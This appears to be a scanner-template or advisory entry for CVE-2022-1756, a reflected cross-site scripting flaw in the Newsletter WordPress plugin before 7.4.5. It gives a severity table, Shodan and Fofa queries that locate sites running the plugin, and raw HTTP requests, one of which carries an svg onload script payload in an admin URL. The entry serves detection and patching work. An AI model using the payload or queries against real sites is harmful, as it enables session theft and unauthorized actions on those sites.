| Title | Newsletter < 7.4.5 - Cross-Site Scripting |
|---|---|
| Author | Harsh |
| Severity | Medium |
| Impact | Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions. |
| Remediation | Fixed in version 7.4.5 |
| CVSS Score | 6.1 |
| EPSS Score | 0.03183 |
| CVE ID | CVE-2022-1756 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/newsletter/ |
| Fofa Query | body=/wp-content/plugins/newsletter/ |
| Tags | cve cve2022 wpscan newsletter xss authenticated thenewsletterplugin wordpress vuln |
The Newsletter WordPress plugin before 7.4.5 does not sanitize and escape the $_SERVER[‘REQUEST_URI’] before echoing it back in admin pages. Although this uses addslashes, and most modern browsers automatically URLEncode requests, this is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=mMq74G&pwd=LGwv5W&wp-submit=Log+In
GET /wp-admin/admin.php?page=newsletter_main_index&debug&"><svg/onload=alert(/document.domain/)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/91.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1756.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1756.pcap
N/AN/A